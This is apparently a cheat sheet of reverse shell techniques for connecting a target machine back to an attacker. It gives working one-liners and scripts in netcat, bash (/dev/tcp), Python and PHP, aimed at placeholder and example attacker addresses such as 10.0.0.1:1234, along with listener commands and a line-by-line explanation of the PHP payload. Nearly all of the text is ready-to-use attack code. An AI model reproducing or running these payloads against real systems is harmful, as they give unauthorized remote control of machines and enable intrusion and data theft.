Reverse shell techniques to establish a network connection from the target
machine to an attacker-controlled machine
Example 1 Using Netcat (nc):
nc -e /bin/sh <attacker IP> <attacker port>
OR
nc -e /bin/sh 10.0.0.1 1234
nc -l -p 8080 –vvv this command used to setting up a Netcat listener on a specific port.
Number of vvv providing more detailed information as number of v increase
Example 2 Using Bash
bash -i >& /dev/tcp/<attacker IP>/<attacker port> 0>&1
OR
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Example 3: Using Python code
import socket,subprocess,os
#Step 1 Create a socket object <-------------------comments
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# step 2 Connect to the attacker's machine
s.connect(("<attacker IP>", <attacker port>))
# step 3 Duplicate the socket file descriptors to stdin, stdout, and stderr
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
# step 4 Execute a shell ("/bin/sh") with the "-i" flag for interactive mode
p = subprocess.call(["/bin/sh", "-i"])
OR
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);’
Example 4: UsingPHP Code
php -r '$sock=fsockopen("<attacker IP>", <attacker port>);exec("/bin/sh -i <&3 >&3
2>&3");'
OR
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");’
Explaination
$sock=fsockopen("<attacker IP>", <attacker port>);:
fsockopen: This function opens a network connection or a socket to the specified IP address
and port.
<attacker IP>: Replace this with the actual IP address of the machine controlled by the
attacker.
<attacker port>: Replace this with the port number on which the attacker is listening for the
connection.
The result of fsockopen is assigned to the variable $sock.
exec("/bin/sh -i <&3 >&3 2>&3");:
exec: This function is used to execute a command.
"/bin/sh -i <&3 >&3 2>&3": This command executes a shell (/bin/sh) with the -i flag for
interactive mode.
<&3: Redirects file descriptor 3 to standard input.
>&3: Redirects standard output to file descriptor 3.
2>&3: Redirects standard error to file descriptor 3.